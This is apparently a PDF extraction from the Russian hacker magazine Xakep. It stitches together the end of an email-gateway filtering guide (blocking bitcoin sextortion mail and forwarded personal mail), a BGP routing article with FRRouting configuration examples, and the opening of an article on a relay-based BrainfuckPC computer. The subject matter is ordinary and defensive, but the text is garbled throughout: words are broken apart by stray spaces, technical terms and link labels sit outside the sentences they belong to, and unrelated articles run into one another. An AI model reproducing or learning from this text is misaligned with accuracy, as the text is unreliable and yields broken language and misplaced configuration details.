номер кошель ка. Есть подоз рение, что зло умыш ленни ки исполь зуют какой‐то
готовый фрей мворк.

Ес ли в тво ей ком пании не инте ресу ются бит коина ми по работе, то мож но
при менить  радикаль ные  меры  —  нап ример,  бло киро вать  пись ма,  содер‐ 
жащие в теле сло ва «btc» и «bitcoin». Под такой кон тент‐филь тр попадут в том
чис ле и новос тные рас сылки с упо мина нием этих слов. Чуть более щадящий
спо соб — бло киров ка по фра зам «bitcoin address» или «btc wallet».

Кста ти, бук валь но на днях с помощью кон тент‐филь тра из пер вого совета
я отло вил модифи циро ван ную вер сию рас сылки:  .
При вво де пароля получа ешь похожее сооб щение с тре бова нием выкупа.

PDF, защищен ный паролем

За паро лен ный PDF

Со вет 5. Можешь зап ретить перенап равле ние лич ных писем
на рабочую поч ту
Ес ли  в  тво ей  орга низа ции  зап рещено  обра баты вать  дан ные,  не  свя зан ные
с работой  (чте ние рас сылок жен ской/муж ской  темати ки,  получе ние  уве дом‐ 
лений с соци аль ных сетей, обмен сооб щени ями лич ного харак тера и т. п.), то
выручит  еще  один  филь тр.  Будем  бло киро вать  пись ма,  которые  содер жат
допол нитель ный слу жеб ный заголо вок  . В этом заголов ке ука‐ 
зыва ется адрес перес лавше го.

X‐ResentFrom

На прак тике был сви дете лем слу чая,  ког да  поль зовате лю,  нас тро ивше му
пересыл ку сооб щений с лич ного ящи ка на кор поратив ный, еже месяч но при‐ 
ходи ло свы ше 500 таких писем. Инте рес но, ког да он успе вал работать?

Филь тры, которые не взле тели
Из‐за  боль шого  количес тва  лож ных  сра баты ваний  на  ста дии  тес тирова ния
приш лось отка зать ся от  некото рых  кон тент‐филь тров. Нап ример,  неудач ной
ока залась идея бло киро вать  все  пос лания,  во  вло жени ях  которых есть мак‐ 
росы, а так же сооб щения с сок ращен ными ссыл ками и ссыл ками на облачные
хра нили ща.  В  качес тве  ком пенса ции  можешь  исполь зовать  «песоч ницу»
и endpoint‐решения.

КАК АНАЛИЗИРОВАТЬ ЗАБЛОКИРОВАННЫЕ ПИСЬМА, ЕСЛИ НЕТ
ПЕСОЧНИЦЫ?
Ес ли  в  тво ей  ком пании  по  каким‐то  при чинам  нель зя  нас тро ить  каран тин
и научить всех им поль зовать ся, то нуж но при думать, как обра баты вать заб‐ 
локиро ван ные  пись ма.  Вот  пос ледова тель ность шагов,  с  помощью  которой
мож но это делать.

Убе дись, что с заб локиро ван ным адре сатом ранее не велась перепис ка.•
Про верь, не содер жится ли e‐mail в базе уте чек « ».• Have I Been Pwned
От правь хеш вло жения на про вер ку в  .• VirusTotal
Ес ли  вло жение  не  содер жит  све дений  кон фиден циаль ного  харак тера,
отправь его на про вер ку в бес плат ную веб‐песоч ницу типа  , 

 и т. д.

•
ANY.RUN Hy‐

brid Analysis
В  кон це  кон цов, можешь  свя зать ся  с  поль зовате лем  и  узнать  нап рямую,
зна ет ли он отпра вите ля и ждет ли он такое пись мо.

•

ЗАКЛЮЧЕНИЕ
Гра мот но  нас тро енный  шлюз  поможет  отсечь  мас су  нежела тель ной  кор‐ 
респон денции  и  повысить  общую  защищен ность  ком пании.  Наде юсь,  мой
мини‐гайд  поможет  тебе  в  этом  деле.  Если  у  тебя  есть  свои  рецеп ты
или идеи,  !де лись ими в ком мента риях

https://twitter.com/ser_storchak
https://attack.mitre.org/
https://support.symantec.com/us/en/article.info3768.html
https://insights.sei.cmu.edu/cert/2019/09/the-dangers-of-vhd-and-vhdx-files.html
https://support.office.com/en-us/article/blocked-attachments-in-outlook-434752e1-02d3-4e90-9124-8b81e49a8519
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АДМИН

BGP — единс твен ный про токол гло баль ной мар шру тиза ции
в  интерне те,  так  что  если  ты  зарегис три ровал  в  RIPE
или ином RIR авто ном ную сис тему, то неиз бежно с ним стол‐ 
кнешь ся. Ни один дру гой про токол не пре дос тавля ет столь ко
воз можнос тей филь тра ции и модифи кации мар шру тов. Но у
гиб кости  есть  и  обратная  сто рона  —  в  опци ях  лег ко
запутать ся. Сегод ня мы рас смот рим некото рые рас простра‐ 
нен ные проб лемы и пути их решения.

Для при меров нас тро ек мы будем исполь зовать сво бод ную реали зацию сте‐ 
ка  про токо лов  ,  которая  работа ет  на  Unix‐подоб ных  сис‐ 
темах  и  исполь зует ся  в  спе циали зиро ван ных  сетевых  дис три бути вах  Linux,
нап ример Cumulus Linux и VyOS.

FreeRangeRouting

АВТОНОМНАЯ СИСТЕМА С НЕСВЯЗАННЫМИ ЧАСТЯМИ
Счи тает ся,  что  все  час ти  авто ном ной  сис темы  нап рямую  свя заны  меж ду
собой.  Одна ко  в  ряде  слу чаев  при ходит ся  отсту пать  от  это го  пра вила.
При поэтап ной миг рации в дру гой датацентр это неиз бежно. Точ ки при сутс‐ 
твия в раз ных датацен трах с одним номером AS — нежела тель ная, но допус‐ 
тимая ситу ация.

Ка залось  бы,  дос таточ но  раз бить  сеть  на  час ти  —  к  при меру,
192.0.2.0/24  на  192.0.2.0/25  и  192.0.2.128/25, — нас тро ить  новый мар шру‐ 
тиза тор  на  допол нитель ной  точ ке  при сутс твия  и  начать  анон сировать  отту‐ 
да  192.0.2.128/25. Но  не  все  так  прос то:  с  парамет рами  по  умол чанию  все
в интерне те будут видеть обе час ти AS, но твои собс твен ные мар шру тиза торы
потеря ют связь друг с дру гом.

По чему  это про исхо дит? Пред положим,  ты исполь зуешь номер авто ном‐ 
ной  сис темы  64500.  Пусть  меж ду  ее  час тями  находит ся  про вай дер
с номером 64501. Тог да AS path будет выг лядеть так:  .64500 64501 64500

AS path в BGP — не толь ко кри терий выбора путей, но и механизм пре дот‐ 
вра щения петель. Если вспом нить про заложен ное в про токол пред положе‐ 
ние, что все час ти AS свя заны нап рямую, наш путь выг лядит имен но как пет ля.

Ре али зации BGP счи тают заколь цован ным и отбра сыва ют любой мар шрут,
где один и тот же номер AS встре чает ся в пути более одно го раза. Но так же
они  час то  пре дос тавля ют  воз можность  отка зать ся  от  задан ного  по  умол‐ 
чанию заведо мо безопас ного поведе ния. Этот слу чай — один из них. Опция
обыч но называ ется  .  В  качес тве  парамет ра  она  при нима ет мак‐ 
сималь но допус тимое чис ло дуб лирован ных номеров AS. Нас тро им ее, что бы
две оди нако вые AS в пути не счи тались пет лей:

allowas‐in

router bgp 64496
neighbor 192.0.2.1 remote‐as 64500
!
address‐family ipv4 unicast
 neighbor 192.0.2.1 allowas‐in 2
exit‐address‐family

Ко неч но,  с  такими  нас трой ками  твой  мар шру тиза тор  может  начать  про пус‐ 
кать  и  нас тоящие  заколь цован ные  мар шру ты.  К  счастью,  на  прак тике  они
в  боль шом  интерне те  не  встре чают ся:  тран зитные  про вай деры  подоб ные
опции не  вклю чают  и  пра виль но дела ют. Во  внут ренней же  сети  тебе  нич то
не  меша ет  прис воить  каж дой  незави симой  час ти  отдель ный  номер  AS  из 

 диапа зона (64512–65534).частного

AS PATH PREPEND И КОНТРОЛЬ НАД ВХОДЯЩИМ ТРАФИКОМ
Ме ханиз мы кон тро ля над исхо дящим тра фиком в BGP мно гочис ленны и раз‐ 
нооб разны.  Вхо дящий  тра фик  —  сов сем  дру гая  исто рия.  В  пуб личном
интерне те у тебя нет никаких спо собов пря мого кон тро ля над ним. Авто ном‐ 
ные сис темы на то и авто ном ные, что не могут дик товать друг дру гу полити ки
мар шру тиза ции.

У любой авто ном ной сис темы, одна ко, есть кон троль над дли ной AS path
в  исхо дящих  анон сах,  и  это  мож но  исполь зовать  как  кос венный  механизм
кон тро ля.

Как мы  уже  видели,  один и  тот же номер AS не может  появ лять ся  в  пути
дваж ды в    (то есть ког да меж ду экзем пля рами одно го номера
есть тре тий), ина че такой путь счи тает ся заколь цован ным. Одна ко нес коль ко
экзем пля ров одно го номера под ряд пет лей не счи тают ся. Путь вро де 

  не  вызовет  у  реали заций  BGP  никаких  воз ражений.
При  этом  две  оди нако вые AS  не  счи тают ся  за  одну,  так  что  этот  путь  будет
длин нее, чем  .

раз ных мес тах

64500 
64500  64555  64501

64500 64555 64501
Ис кусс твен ное  удли нение  пути  называ ется  AS  path  prepend  и  час то

исполь зует ся  для  вли яния  на  выбор  пути  дру гими  сетями.  Если  у  тебя  два
про вай дера  и  одно му  ты  анон сиру ешь  с  путем  ,  а  вто рому  с 

, мар шрут через пер вого будет выг лядеть для дру гих сетей более прив‐ 
лекатель ным. По край ней мере, в теории.

64500 64500 
64500

Вот так в FRR мож но сде лать путь на три номера AS длин нее, чем он есть:

!
route‐map Transit‐Out permit 10
set as‐path prepend 64496 64496 64496

!
router bgp 64496
neighbor 192.0.2.1 remote‐as 64500
!
address‐family ipv4 unicast
 neighbor 192.0.2.1 route‐map Transit‐Out out
exit‐address‐family

Те перь  в    мы  уви дим  на  выходе  путь  из  трех  копий  нашей  AS
вмес то обыч ного для локаль ных анон сов пус того пути:

show  ip  bgp

# show ip bgp neighbors 192.0.2.1 advertised‐routes
  Network          Next Hop            Metric LocPrf Weight Path
*> 203.0.113.0/24   0.0.0.0                  0         32768 64496 
64496 64496 i

На прак тике никаких гаран тий, что весь вхо дящий тра фик пой дет через пер‐ 
вого про вай дера, у  тебя нет. Впол не может ока зать ся, что для вто рого про‐ 
вай дера  искусс твен но  удли нен ный  путь  все  рав но  короче  аль тер натив ных,
при шед ших  к  нему  от  пер вого  через  цепоч ку  дру гих  про вай деров.  Кро ме
того,  все  адми нис тра торы  име ют  пол ное  пра во  нас тро ить  «неп равиль ный»
с тво ей точ ки зре ния мар шрут как пред почти тель ный.

Так  что  более  разум но  исполь зовать  т.  н.  community  strings,  если  твой
тран зитный про вай дер их под держи вает.

COMMUNITY STRINGS
В отли чие от всех осталь ных про токо лов, в BGP есть механизм, который поз‐ 
воля ет  вли ять  на  полити ку  мар шру тиза ции  соседа,  если  сосед  на  это  сог‐ 
ласен.

Community  strings  —  это  про изволь ные  зна чения  вида    (вро‐ 
де 64500:111), которые мож но прис воить анон сам на выходе и исполь зовать
в качес тве кри терия в полити ке на вхо де. В общем слу чае смысл кон крет ных
зна чений опре деля ется нас трой ками,  хотя и сущес тву ет нес коль ко стан дар‐ 
тных  зна чений,  к  при меру  ,  которое  говорит  мар шру тиза тору
не рас простра нять анонс осталь ным.

AS:NUMBER

no‐advertise

Тран зитные  про вай деры  час то  пре дос тавля ют  кли ентам  такую  воз‐ 
можность. В раз деле BGP Services/Features в    (двад цатая
стра ница)  мож но  уви деть  целый  набор  опций  для  уста нов ки 

 и кон тро ля над тем, кому Cogent будет анон сировать твой
мар шрут  (никому,  всем,  отдель ным  реги онам  мира).  У  дру гих  про вай деров
тоже  обыч но  есть  подоб ные  докумен ты —  вот,  к  при меру,  для  рос сий ско го

.

Cogent User Guide

local preference

RETN
Пред положим,  ты  хочешь  дать  сво им  соседям  воз можность  выс тавить 

 на тво ей сто роне для их анон сов. Пусть твоя авто ном ная
сис тема — 64500, а у кли ента — 64496.
local preference

Сна чала рас смот рим, как со сто роны кли ента отпра вить про вай деру стро‐ 
ку.  Отпра вим  условно му  про вай деру  анонс  с  .  Вот
как это мож но сде лать в FRR:

community  64500:50

route‐map Transit‐Out permit 10
set community 64500:50

!
router bgp 64496
neighbor 192.0.2.1 remote‐as 64500
!
address‐family ipv4 unicast
 neighbor 192.0.2.1 route‐map Transit‐Out out
exit‐address‐family

Те перь  рас смот рим,  как  ее  исполь зовать  для  опре деле ния  политик  на  сто‐ 
роне про вай дера. Уста новим   для анон сов с такой стро кой
в 50 (мень ше зна чения по умол чанию):

local preference

bgp community‐list expanded Customer‐Policy permit 64500:50
!
route‐map Customer‐Import permit 10
match community Customer‐Policy
set local‐preference 50

!

router bgp 64500
neighbor 192.0.2.10 remote‐as 64496
!
address‐family ipv4 unicast
 neighbor 192.0.2.10 route‐map Customer‐Import in
exit‐address‐family

!

Убе дить ся,  что  на  про вай дер ской  сто роне  все  работа ет,  мож но  все  той  же
коман дой  :show ip bgp

# show ip bgp
  Network          Next Hop            Metric LocPrf Weight Path
*> 203.0.113.0/24   192.0.2.10               0     50      0 64496 i

СТАНДАРТНЫЕ ОГРАНИЧЕНИЯ И ПУТИ ИХ ОБХОДА
В динами чес кой мар шру тиза ции есть мно жес тво спо собов наделать оши бок,
поэто му  реали зации  про токо лов  вклю чают  стан дар тные  огра ниче ния
для пре дот вра щения типич ных проб лем. В то же вре мя гра ница меж ду ошиб‐ 
кой и необыч ной, но осмыслен ной нас трой кой быва ет тон кой.

В  качес тве  при мера  рас смот рим  опцию  .  По  умол чанию
BGP отка жет ся  уста нав ливать соеди нение с соседом, если он не находит ся
в одном сег менте каналь ного уров ня (то есть меж ду соседя ми есть про межу‐ 
точ ные  мар шру тиза торы).  Обыч но  это  впол не  логич ная  полити ка:  мар шру‐ 
тизи ровать  тра фик  через  кого‐то,  кто  с  тобой  не  в  одной  сети,  оче вид но
невоз можно.

ebgp‐multihop

Од нако  BGP  дос таточ но  абс трак тный  про токол  по  срав нению  со  все ми
осталь ными и поз воля ет  уста новить для мар шру тов  свой шлюз. Из‐за  это го
BGP неред ко исполь зуют как метод авто мати чес кой переда чи спис ков сетей,
а что с эти ми сетями делать, каж дый уже реша ет сам.

Ком пания Team Cymru таким спо собом пре дос тавля ет всем жела ющим 
,  которые  еще  не  выделе ны  ни  одной  ком пании

и поэто му не дол жны появ лять ся в интерне те, — если к тебе при ходит тра фик
из них, это явный приз нак IP spoofing.

ак‐ 
туаль ные  спис ки  сетей

Пос коль ку  их  сер вер  мар шру тов  находит ся  где‐то  далеко  в  интерне те
и мар шру тизи ровать тра фик через него самого не пред полага ется, огра ниче‐ 
ние на нахож дение соседей в одной сети к нему неп римени мо. В этом слу чае
нам  и  поможет  опция  ,  которая  уста нав лива ет  мак сималь но
допус тимое чис ло про межу точ ных мар шру тиза торов:

ebgp‐multihop

router bgp 64496
neighbor 192.0.2.1 remote‐as 64500
neighbor 192.0.2.1 ebgp‐multihop 255

СМОТРИМ НА СЕБЯ ИЗВНЕ
Мно гие  навер няка  видели  инс тру мен ты  типа  looking  glass.  Про вай деры
неред ко пре дос тавля ют интерфейс, с которо го мож но запус тить ping и tracer‐
oute  к  ука зан ному  адре су  из  их  сети.  Обыч но  ничего  дру гого  и  не  нуж но,
но  для  отладки  политик  мар шру тиза ции  быва ет  полез но  уви деть  AS  path.
К счастью, тран зитные про вай деры обыч но дают и такую воз можность. К при‐ 
меру:  ,  ,  .Level3 Telia Hurricane Electric

Hurricane  Electric  поныне  пре дос тавля ет  дос туп  к  сво ему  looking  glass
еще и через telnet. Ког да‐то это был стан дар тный спо соб, реали зации вро де
Cisco  IOS и Quagga  или  FRR пре дос тавля ют  дос таточ но  гиб кое  управле ние
пра вами  на  выпол нение  команд,  что бы  сде лать  такую  кон фигура цию
безопас ной и раз решить толь ко прос мотр дан ных. Гля нем, через кого тра фик
из  их  сети  пой дет  в  сеть  Qrator  (AS197068),  за  которой  находит ся  сайт
«Хакера». Отре зол вим xakep.ru (178.248.232.27) и выпол ним коман ду:

$ telnet route‐server.he.net
...
route‐server> show ip bgp 178.248.232.27 bestpath
BGP routing table entry for 178.248.232.0/23
Paths: (23 available, best #1, table Default‐IP‐Routing‐Table)
 Not advertised to any peer
   3491 197068 197068 197068
   216.218.252.151 from 216.218.252.151 (216.218.252.151)
     Origin IGP, metric 1, localpref 100, valid, internal, best
     Last update: Mon Sep 23 04:07:39 2019

Уз нать,  кому  при над лежит  номер  авто ном ной  сис темы,  мож но  через  whois:
 ска жет нам, что на момент написа ния статьи этот про вай дер —

. Мар шру тиза ция в интерне те неред ко меня ется, так что не удив‐ 
ляй ся, если пов торишь и уви дишь дру гой резуль тат.

whois AS3491
PCCW Global

ЗАКЛЮЧЕНИЕ
Уп равлять  авто ном ной  сис темой  быва ет  неп росто,  но  если  вни матель но
читать докумен тацию, это по силам каж дому адми ну.

Ес ли ты не работа ешь в ком пании со сво ей AS, но тебе хочет ся поэк спе‐ 
римен тировать  с  мар шру тиза цией  в  похожих  на  реаль ные  усло виях,  мож но
при соеди нить ся  к   —  вир туаль ной  сети,  которая модели рует  интернет
с BGP, DNS, whois и про чими атри бута ми.

DN42

mailto:daniil@baturin.org
https://frrouting.org/
https://ecogent.cogentco.com/eCogent/docs/Global_Users_Guide.pdf
https://retn.net/support/bgp-communities/
https://www.team-cymru.com/bogon-reference-bgp.html
http://lg.level3carrier.com/
https://lg.telia.net/
https://lg.he.net/
https://www.pccwglobal.com/
https://dn42.net/
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Спа яв десять лет назад свою пер вую схе му
на элек тро маг нитных реле, спо соб ную сло‐ 
жить  два  чис ла,  я  подумал:  вот  было  бы
здо рово  соз дать  пол ноцен ный  компь ютер
на  тысяче  релюшек!  Не  знал  я  тог да,  что
креп ко под сяду на такое хоб би и пос ле воп‐ 
лощения  зате янно го  замах нусь  не  толь ко
на  лам повую  ЭВМ,  но  и  на  компь ютер
на  базе  уте рян ной  тех нологии  соз дания
логичес ких  эле мен тов,  работа ющей
на струе воз духа.

Ре лей ный компь ютер BrainfuckPC на фоне его авто ра

В 1974 году поль ский футуро лог Ян Вой цехов ский выпус тил свою куль товую
кни гу «Ради оэлек трон ные игрушки». В ней он опи сал воз можнос ти устрой ств
элек трон ной  тех ники  тех  лет,  а  так же  их  пред полага емое  исполь зование
в  каж дой  сфе ре  нашей  жиз ни  в  бли жай шем  будущем —  элек тро ника  дома
и  на  работе,  в  спор те  и  шко ле,  на  нот ных  линей ках  и  на  четырех  колесах;
игры, робото тех ника и мно гое дру гое.

Ян Вой цехов ский. «Ради оэлек трон ные игрушки»

Один  ее  раз дел  —  кибер нетика  —  боль ше  все го  прив лек  мое  вни мание.
В нем было как опи сание воз можнос тей компь юте ров будуще го, так и схе ма
прос той  модели  циф ровой  вычис литель ной  машины  на  малень ких 

  реле.  Эта  мик ро‐ЭВМ  по  сути  явля ется  прос тым  ариф‐ 
метико‐логичес ким  устрой ством  и  поз воля ет  скла дывать  и  вычитать  дво‐ 
ичные чис ла раз рядностью до трех бит. В 2008 году я соб рал эту недо‐ЭВМ
на совет ских элек тро маг нитных реле РЭС22, рас ширив схе му до четырех бит.
Она  получи ла  наз вание  «релей ная  циф ровая  вычис литель ная машина №1»,
или сок ращен но — РЦВМ‐1.

телеграфных

Ре лей ная циф ровая вычис литель ная машина №1. Реле, све тоди оды
и ворох про водов

В то же самое вре мя в Нижего род ском полите хе на одной из лабора тор ных
работ по теоре тичес ким осно вам элек тро тех ники мы изу чали про цесс заряда
и  раз ряда  кон денса тора.  В  экспе римен таль ной  уста нов ке  кон денса тор
попере мен но  под клю чал ся  то  к  источни ку  питания,  то  к  резис тору —  соот‐ 
ветс твен но  заряжа ясь  и  раз ряжа ясь  с  час тотой  50  Гц.  На  осциллог рафе
рисова лись  кри вые  заряда‐раз ряда.  Перек лючени ем  кон денса тора
туда‐сюда занима лось малень кое гер коновое реле РЭС55, и я уди вил ся это‐ 
му фак ту: «обыч ные» реле, в которых при сутс тву ют якорь, кон так тные ламели
и  про чие  под вижные  эле мен ты,  не  спо соб ны  перек лючать ся  быс трее,
чем 10–20 раз в секун ду.

Гер коновые реле РЭС55, РЭС64 и РЭС43, исполь зован ные в про екте

Я  задумал  соб рать  пол ноцен ную  элек трон но‐вычис литель ную  машину
на  реле,  спо соб ную  самос тоятель но  исполнять  прог раммы.  Даль нейшие
экспе римен ты с гер коновы ми реле показа ли, что им по силам час тота перек‐ 
лючения в 1000–1200 Герц,  то есть на два поряд ка быс трее, чем у обыч ных
реле.  Имен но  этот  факт  при вел  меня  к  тому,  что  будущая  машина  дол жна
быть пос тро ена на гер коновых реле, что бы иметь воз можность стать самым
быс трым релей ным компь юте ром в мире из сущес тву ющих или сущес тво вав‐ 
ших ранее.

Нет,  не  единс твен ным  сущес тву ющим  в  нас тоящий момент.  В  2004  году
Гар ри  Пор тер  показал  миру 
на базе 415 элек тро маг нитных реле. В четырех шка фах рас положи лась ЭВМ
с  вось мираз рядной шиной  дан ных,  16‐раз рядной шиной  адре са  и  прос тым
набором инс трук ций. Прог раммы и дан ные хра нят ся в мик росхе мах ста тичес‐ 
кой памяти на 32 Кбай та. Прог раммы в него вво дят с помощью панели прог‐ 
рамми рова ния.  Компь ютер  Пор тера  спо собен  работать  на  час тоте  поряд‐ 
ка 5 Гц.

свой  пер вый  сов ремен ный  компь ютер

Ре лей ный компь ютер Гар ри Пор тера на фоне его авто ра

В 2005 году jbstanley пов торил про ект Пор тера. Его машина с наз вани ем «
» на базе 281 реле пред став ляет собой упро щен ную

архи тек туру  компь юте ра  Гар ри,  но  при  этом  име ет  те  же  самые  основные
харак терис тики – 16‐раз рядная шина адре са, вось мираз рядная шина дан ных
и ОЗУ на базе мик росхе мы ста тичес кой памяти.

Ре‐ 
лей ный компь ютер №2

Ре лей ный мини‐компь ютер №2

С  тех  пор  появи лись  еще  как  минимум  пол тора  десят ка  машин  раз ных
самодель щиков,  и  как  пра вило,  они  име ют  схо жие  харак терис тики.  Я  тоже
вре мени  не  терял.  Собирал  в  огромных  количес твах  гер коновые  реле
РЭС55 и РЭС64 и про екти ровал свою будущую ЭВМ.

РЕЛЕЙНАЯ ЛОГИКА
Элек тро маг нитное  реле  пред став ляет  собой  элек тро маг нит  с  бло ком  кон‐ 
тактов,  уста нов ленных  на  под вижном  яко ре.  При  подаче  нап ряжения
на  катуш ку  элек тро маг нита  якорь  при маг ничива ется  к  сер дечни ку 

  сос тояние  кон тактов.  Соеди няя  кон такты  нес коль ких  реле
в  раз личных  ком бинаци ях,  мы  получим  логичес кий  эле мент  того  или  ино го
типа.

и переключает

Нап ример,  соеди нив  нор маль но  разом кну тые  кон такты  двух  реле 
 мы получим логичес кий эле мент 2И. Сиг нал на выходе

будет тог да, ког да нап ряжение будет подано на оба реле.

•
последовательно,

Со еди нив эти же самые кон такты, но парал лель но, получим 2ИЛИ — сиг‐ 
нал на выходе будет, если хотя бы на одно реле подано нап ряжение.

•

Два пос ледова тель но соеди нен ных нор маль но зам кнут ных кон такта дадут
логичес кий эле мент 2ИЛИ‐НЕ.

•

Они же, по парал лель но соеди нен ные — 2И‐НЕ.•

INFO

Бо лее  под робно  про  циф ровую  логику  читай
в  статье  «

».
Ос новы  циф ровой  схе мотех ники.

Собира ем сум матор

Эле мен тов  2И‐НЕ или 2ИЛИ‐НЕ дос таточ но,  что бы  соз дать  любую логичес‐ 
кую схе му. Каж дый из них обра зует фун кци ональ но пол ный логичес кий базис.
Говоря  прос тым  язы ком,  они  «Тьюринг‐пол ные»  в  поняти ях  булевой  логики.
А если мож но соз дать  такой логичес кий эле мент,  то и пол ноцен ная ЭВМ —
не проб лема.

Прин ципи аль ная схе ма базовых логичес ких эле мен тов на реле

РЦВМ-2 BUZZY
Из началь но за осно ву этой машины я взял мик рокон трол лерную архи тек туру
MSP430.  Это  пол ноцен ная  16‐раз рядная  архи тек тура  с  еди ным  адресным
прос транс твом для  кода и дан ных. Здесь все го 27 инс трук ций, из них 11 —
матема тичес кие  опе рации  АЛУ.  16  регис тров  обще го  наз начения,  орто‐ 
гональ ная сис тема дос тупа к памяти — что может быть луч ше?

Прин ципи аль ная схе ма АЛУ про екта РЦВМ‐2 для 1 бита

На рисун ке выше пред став лена прин ципи аль ная схе ма АЛУ будуще го компь‐ 
юте ра  для  одно го  бита.  Каж дый  пря моуголь ный  блок  —  это  прос тей ший
логичес кий эле мент на базе одно го или нес коль ких реле. С одной сто роны,
выг лядит  нес ложно  —  мно го  одно тип ных  эле мен тов.  С  дру гой  сто роны,
на один бит тре бует ся 36 реле — или 576 реле на 16‐раз рядное АЛУ. С уче‐ 
том 16 регис тров по 16 бит каж дый, кучи логики, защелок, декоде ра инс трук‐ 
ций и т.д. общее количес тво реле, тре буемое для осу щест вле ния этой задум‐ 
ки, быс тро перева лило за три тысячи. И тут на помощь при шел Brainfuck.

Продолжение статьи →

mailto:radiolok@yandex.ru
http://web.cecs.pdx.edu/~harry/Relay/
http://www.electronixandmore.com/projects/relaycomputertwo/index.html
https://xakep.ru/2019/07/15/summator/


ОПЕРАЦИЯ
BRAINFUCKPC
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И НЕ СТАЛ НА ЭТОМ ОСТАНАВЛИВАТЬСЯ

GEEK  НАЧАЛО СТАТЬИ←

ЯЗЫК ПРОГРАММИРОВАНИЯ BRAINFUCK
Brainfuck  —  пожалуй,  самый  популяр ный  из  эзо тери чес ких  язы ков 

  А  заод но  самая  нас тоящая  Тьюринг‐пол ная  тря сина.
Все го  лишь  восемь  инс трук ций,  на  которых  мож но  писать  все  что  угод но,
но  очень  дол го.  К  при меру,  на  то,  что бы  написать  и  отла дить  прог рамму
деления двух целых чисел, которая печата ет в тер минал резуль тат с шестью
зна ками пос ле запятой, у меня ушло три дня.

программирования.

Инс трук ции язы ка Brainfuck

Весь син таксис язы ка стро ится вок руг ОЗУ на 30 тысяч яче ек памяти с раз‐ 
рядностью 8 бит.

Дву мя инс трук циями   и   мы изме няем зна чение в текущей ячей ке дан ных
на еди ницу боль ше или мень ше.

• + ­

Дву мя инс трук циями   и   мы изме няем на еди ницу ука затель на текущую
ячей ку дан ных, тем самым переме щаясь по памяти.

• < >

Еще две инс трук ции —   и   — поз воля ют нам орга низо вать цик лы. Все,
что внут ри ско бок, явля ется телом цик ла. Вло жен ные цик лы допус кают ся.
Логика  инс трук ции  прос та  —  если  зна чение  текущей  ячей ки  дан ных
не  рав но  нулю,  мы  выпол ним  одну  ите рацию  цик ла,  если  рав но,  то
выходим из него.

• [ ]

Пос ледние  две  инс трук ции  —    и  .  Они  поз воля ют  вывес ти  зна чение
текущей  ячей ки  в  тер минал  или  ввес ти  его  с  устрой ства  вво да  в  ОЗУ.
Это поз воля ет писать инте рак тивные прог раммы.

• . ,

Да, это го более чем дос таточ но для написа ния любой прог раммы. Сущес тво‐ 
вание   под твержда ет это. Но плот ность
кода  —  никаку щая.  Для  выпол нения  прос тей ших  опе раций,  нап ример  сло‐ 
жения  двух  перемен ных,  тре бует ся  исполнить  сот ни  инс трук ций  Brainfuck.
В этом и зак люча ется вся ака деми чес кая пре лесть язы ка, и в резуль тате мно‐ 
гие  прог раммис ты  прак тику ются  в  соз дании  прог рамм  на  нем.  Они  уже
написа ли тысячи при ложе ний, и, если мы смо жем исполнять их на релей ном
компь юте ре, это будет хорошо.

ком пилято ров из язы ка C в Brainfuck

BRAINFUCK++
Есть  неболь шой  вари ант  опти миза ции  плот ности  кода  на  Brainfuck. 

 в боль шинс тве сво ем сос тоят из пос ледова тель нос тей инс трук‐ 
ций  . Нап ример,  десять опе раций инкре мен та мы можем заменить
на  рав ноцен ную  опе рацию  .  Двад цать  опе раций  сдви га  ука зате ля  впра‐ 
во — на опе рацию   и так далее. В ито ге некото рые прог раммы пот ребу‐ 
ют на 20–30% мень ше так тов, а какие‐то будут уско рены в нес коль ко раз.

Программы
+ — < >

+10
> 20

Инс трук ции язы ка Brainfuck++

Та ким обра зом, в 2016 году мое тех ничес кое задание на раз работ ку релей‐ 
ного компь юте ра при няло окон чатель ный вид. Я решил соз дать пол ноцен ный
компь ютер на базе гер коновых реле со сле дующи ми харак терис тиками.

На бор инс трук ций Brainfuck++.•
Пол ноцен ная 16‐раз рядная архи тек тура фон Ней мана — и шина адре са,
и  шина  дан ных  шириной  16  бит.  Прог раммы  на  Brainfuck,  как  пра вило,
вось мираз рядные,  так  что  тре бует ся  обес печить  обратную  сов мести‐ 
мость.

•

Де коди рова ние  инс трук ций  и  все  вычис ления  реали зова ны  на  релей ной
логике.

•

Ра бочая  час тота —  мно гок ратно  пре выша ющая  сущес тву ющие  решения
на реле (то есть сущес твен но выше пяти инс трук ций в секун ду).

•

ОЗУ на базе мик росхем SRAM (как и у дру гих самодель щиков).•

BRAINFUCKPC
Цен траль ным эле мен том релей ного про цес сора в этом компь юте ре стал 16‐
раз рядный пол ный сум матор с парал лель ным перено сом. К нему на вход под‐ 
клю чены  два  регис тра.   —  вре мен ный  регистр,  в  который  помеща ется
ста рое  зна чение,  и    —  коман дный  регистр,  где  хра нит ся  инс трук ция
и кон стан та, на которую будет изме нять ся ста рое зна чение.

TMP

CMD

По это му  я  могу  исполнять  опе рации  опти мизи рован ного  Brainfuck++,
а  заод но  получить  пол ноцен ные  условные  перехо ды —  Jump  If  Zero  и  Jump
If  Not  Zero  —  в  любую  сто рону  прог раммы.  Если  зна чение  текущей  ячей ки
ноль (или не ноль) — пры гаем по коду впе ред или назад на рас сто яние N.

Ре зуль тат  опе рации  сум мирова ния  может  быть  выг ружен  в  один  из  кон‐ 
текс тных  регис тров —   —  с  номером  текущей  ячей ки  дан ных,  или   —
с  номером  текущей  инс трук ции.  Либо  резуль тат  может  быть  выг ружен
в текущую ячей ку ОЗУ, если речь идет об инс трук циях   и  .

AP IP

+ ‐

Ар хитек тура релей ного компь юте ра. Ста дия заг рузки новой инс трук ции
сме няет ся ста дией ее исполне ния

Инс трук ция исполня ется за один такт. По нарас тающе му фрон ту про изво дит‐ 
ся счи тыва ние оче ред ной инс трук ции из памяти. Для это го ста рое зна чение
регис тра  IP заг ружа ется во вре мен ный регистр, с помощью сум матора при‐ 
бав ляем  к  нему  еди нич ку  и  переза писы ваем  регистр  IP  новым  зна чени ем.
Строб по памяти — и в коман дном регис тре лежит оче ред ная инс трук ция.

По  спа дающе му  фрон ту  сиг нала  так тирова ния  начина ется  исполне ние
этой инс трук ции. Если она работа ет с сум матором, то этот про цесс выг лядит
при мер но так же, как и про цесс заг рузки новой инс трук ции — помеща ем ста‐ 
рое зна чение во вре мен ный регистр, при бав ляем лежащую в млад ших битах
регис тра  CMD  кон стан ту,  резуль тат  записы ваем  обратно  в  регистр
или текущую ячей ку дан ных.

Мо дуль
В  осно ве  конс трук ции  —  неболь шой  модуль  на  печат ной  пла те,  который
реали зует прос тую логичес кую опе рацию.

Раз личные модули релей ного компь юте ра

